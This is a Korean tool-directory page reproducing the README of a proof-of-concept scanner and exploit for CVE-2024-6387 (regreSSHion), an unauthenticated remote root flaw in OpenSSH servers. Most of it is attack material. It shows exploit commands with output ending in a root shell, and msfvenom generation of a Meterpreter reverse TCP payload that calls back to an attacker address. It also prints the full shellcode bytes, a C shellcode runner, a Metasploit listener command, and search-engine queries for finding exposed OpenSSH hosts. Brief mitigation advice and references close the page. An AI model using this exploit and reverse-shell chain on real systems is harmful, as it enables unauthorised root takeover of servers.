Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-6387 — PoC - OpenSSH 서버의 원격 비인증 코드 실행 취약점 (스캐너 및 익스플로잇) | Kitploit
도구/GitHubGitHub/l0n3m4n/cve-2024-6387
ReconnaissanceVulnerability AnalysisExploitationShellcodeNetwork SecurityPenetration TestingRed TeamingRemote Access ToolPayload Development
GitHubl0n3m4n/cve-2024-6387

CVE-2024-6387

PoC - OpenSSH 서버의 원격 비인증 코드 실행 취약점 (스캐너 및 익스플로잇)

1133982년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

openssh CVE-2024-6387 - PoC

📜 설명

참고: 이 스크립트는 빠른 프로토타입 PoC로, 일부 오류와 버그가 발생할 수 있습니다. 테스트 환경: Kali Linux, ParrotSec, Ubuntu 22.04

OpenSSH 서버의 원격 비인증 코드 실행 취약점

OpenSSH 서버(sshd)에서 신호 처리기 경쟁 조건(race condition)이 발견되었습니다. 클라이언트가 LoginGraceTime 초(기본값 120, 이전 OpenSSH 버전에서는 600) 내에 인증하지 않으면 sshd의 SIGALRM 처리기가 비동기적으로 호출됩니다. 그러나 이 신호 처리기는 syslog()와 같이 async-signal-safe하지 않은 다양한 함수를 호출합니다.

📁 목차

  • 📖 세부 정보
  • ⚙️ 사용법
  • 🔍 호스트 탐색
  • 🛠️ 완화 조치
  • 💁 참고 자료
  • 📌 작성자
  • 📢 면책 조항

✍🏻 세부 정보

기술적 세부 정보는 여기에서 확인할 수 있습니다.

Qualys의 연구원들이 May 2024에 발견하고 CVE-2024-6387 식별자를 부여받은 이 결함은 sshd의 신호 처리기 경쟁 조건으로 인한 것으로, 인증되지 않은 원격 공격자가 root 권한으로 임의 코드를 실행할 수 있게 합니다.

"클라이언트가 LoginGraceTime 초(기본값 120) 내에 인증하지 않으면 sshd의 SIGALRM 처리기가 비동기적으로 호출되며 async-signal-safe하지 않은 다양한 함수를 호출합니다,"

"원격 비인증 공격자는 이 결함을 악용하여 root 권한으로 임의 코드를 실행할 수 있습니다."

⚙️ 사용법

OpenSSH 서버 스캔

요구 사항: 최신 python3

root@kitploit:~
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22

 ██████╗ ██████╗ ███████╗███╗   ██╗███████╗███████╗██╗  ██╗
██╔═══██╗██╔══██╗██╔════╝████╗  ██║██╔════╝██╔════╝██║  ██║
██║   ██║██████╔╝█████╗  ██╔██╗ ██║███████╗███████╗███████║
██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║     ███████╗██║ ╚████║███████║███████║██║  ██║
 ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝╚══════╝╚══════╝╚═╝  ╚═╝
   Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo 
    
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!

~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root) 

내보내기 (csv,txt,json)

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json

다중 대상

root@kitploit:~
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json

타임아웃 추가

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json

네트워크 범위

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json

사용자 지정 포트

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json

권한 상승 과정

리버스 셸 얻기

root@kitploit:~
# Generating a shellcode 
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes

unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

사용자 지정 페이로드

root@kitploit:~
#include <stdio.h>

// A placeholder of your custom payload 
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main() {
    // Execute shellcode
    printf("Executing shellcode...\n");
    void (*sc)() = (void(*)())shellcode;
    sc();

    return 0;
}

실제 페이로드

root@kitploit:~
#include <stdio.h>
 

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";

페이로드 컴파일 및 실행

root@kitploit:~
# compiling payload
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c 

페이로드 실행

root@kitploit:~
# Once you receive a successful exploitation message, the msfconsole automatically initiates a Meterpreter session.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22 

페이로드 캐치

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"

🔍 호스트 탐색

  • Hunter: /product.name="OpenSSH"
  • FOFA: app="OpenSSH"
  • SHODAN: product:"OpenSSH"
  • CENSYS: (openssh) and labels=remote-access

🛠️ 완화 조치

  • 패치 관리: OpenSSH에 제공되는 패치를 신속하게 적용하는 것은 취약점 공백을 메우는 데 매우 중요합니다. 적시에 패치를 적용하면 알려진 익스플로잇이 시스템에 악용되는 것을 방지하여 공격자의 공격 기회 창을 줄일 수 있습니다.

  • 강화된 접근 제어: 네트워크 기반 제어를 통해 SSH 접근을 제한하면 추가 방어 계층이 구축됩니다. 이 접근 방식은 SSH 연결을 승인된 네트워크 또는 IP 주소로만 제한하여 잠재적 공격자에 대한 노출을 최소화합니다. 방화벽 규칙과 같은 도구를 구현하거나 안전한 접근을 위해 VPN을 사용하면 이러한 제한을 효과적으로 적용할 수 있습니다.

  • 네트워크 분할: 네트워크를 세그먼트로 분할하면 잠재적 침해의 영향을 억제하는 데 도움이 됩니다. 중요 시스템과 민감한 데이터를 네트워크의 덜 중요한 부분과 분리하면 공격자의 측면 이동(lateral movement) 위험을 줄일 수 있습니다. 이러한 분할은 엄격한 접근 제어 및 모니터링과 함께 적용하여 이러한 세그먼트를 침해하려는 무단 시도를 탐지하고 대응할 수 있습니다.

  • 침입 탐지 시스템 (IDS): IDS 또는 침입 방지 시스템(IPS)을 배포하면 네트워크 트래픽과 시스템 로그를 실시간으로 모니터링할 수 있습니다. 이러한 시스템은 regreSSHion 취약점과 관련된 의심스러운 활동과 잠재적 악용 시도를 탐지할 수 있습니다. 이러한 시스템에서 발생하는 경보를 통해 심각한 피해가 발생하기 전에 신속한 조사와 완화 조치를 취할 수 있습니다.

  • 공격 시도 모니터링: 네트워크 및 시스템 로그의 지속적인 모니터링은 매우 중요합니다. OpenSSH 취약점을 악용하려는 시도를 나타낼 수 있는 비정상적인 패턴이나 활동을 찾아보십시오. 이러한 사전 예방적 접근 방식은 위협이 피해를 입히기 전에 식별하고 대응하는 데 도움이 됩니다.

💁 참고 자료

  • 원작자: CVE-2024-6387 Scanner
  • 원작자: CVE-2024-6387 PoC

추가 참고 자료

  • http://www.openwall.com/lists/oss-security/2024/07/01/12
  • https://access.redhat.com/security/cve/CVE-2024-6387
  • https://bugzilla.redhat.com/show_bug.cgi?id=2294604
  • https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt
  • https://github.com/zgzhang/cve-2024-6387-poc
  • https://ubuntu.com/security/CVE-2024-6387
  • https://ubuntu.com/security/notices/USN-6859-1
  • https://www.suse.com/security/cve/CVE-2024-6387.html
  • https://explore.alas.aws.amazon.com/CVE-2024-6387.html
  • https://archlinux.org/news/the-sshd-service-needs-to-be-restarted-after-upgrading-to-openssh-98p1/
  • https://www.openssh.com/txt/release-9.8
  • https://lists.mindrot.org/pipermail/openssh-unix-announce/2024-July/000158.html
  • https://lists.mindrot.org/pipermail/openssh-unix-dev/2024-July/041431.html
  • https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server
  • https://www.theregister.com/2024/07/01/regresshion_openssh/
  • https://news.ycombinator.com/item?id=40843778

📌 작성자

  • Facebook
  • Twitter (X)
  • Medium
  • 웹사이트

📢 면책 조항

  • 중요 사항:
    • 이 도구는 승인된 침투 테스트 및 레드 팀(red teaming) 연습 용도로만 개발 및 사용됩니다. 이 도구는 glibc 기반 Linux 시스템에서 OpenSSH 서버의 취약점을 식별하고 악용하도록 설계되었습니다. 이 도구의 무단 사용은 엄격히 금지되며, 이 도구의 소유자는 무단 접근 또는 악의적인 사용에 대해 책임을 지지 않습니다.
  • 법적 고지:
    • 소유자의 명시적 승인 없이 시스템이나 네트워크에서 이 도구를 무단으로 사용하면 관련 법률 및 규정을 위반할 수 있습니다. 사용자는 사이버 보안 테스트 및 평가를 규율하는 법적·윤리적 기준을 준수할 책임이 있습니다.
도구 다운로드
  • https://security-tracker.debian.org/tracker/CVE-2024-6387
  • https://github.com/oracle/oracle-linux/issues/149
  • https://github.com/rapier1/hpn-ssh/issues/87
  • https://stackdiary.com/openssh-race-condition-in-sshd-allows-remote-code-execution/
  • https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0010
  • http://www.openwall.com/lists/oss-security/2024/07/01/13
  • https://security.netapp.com/advisory/ntap-20240701-0001/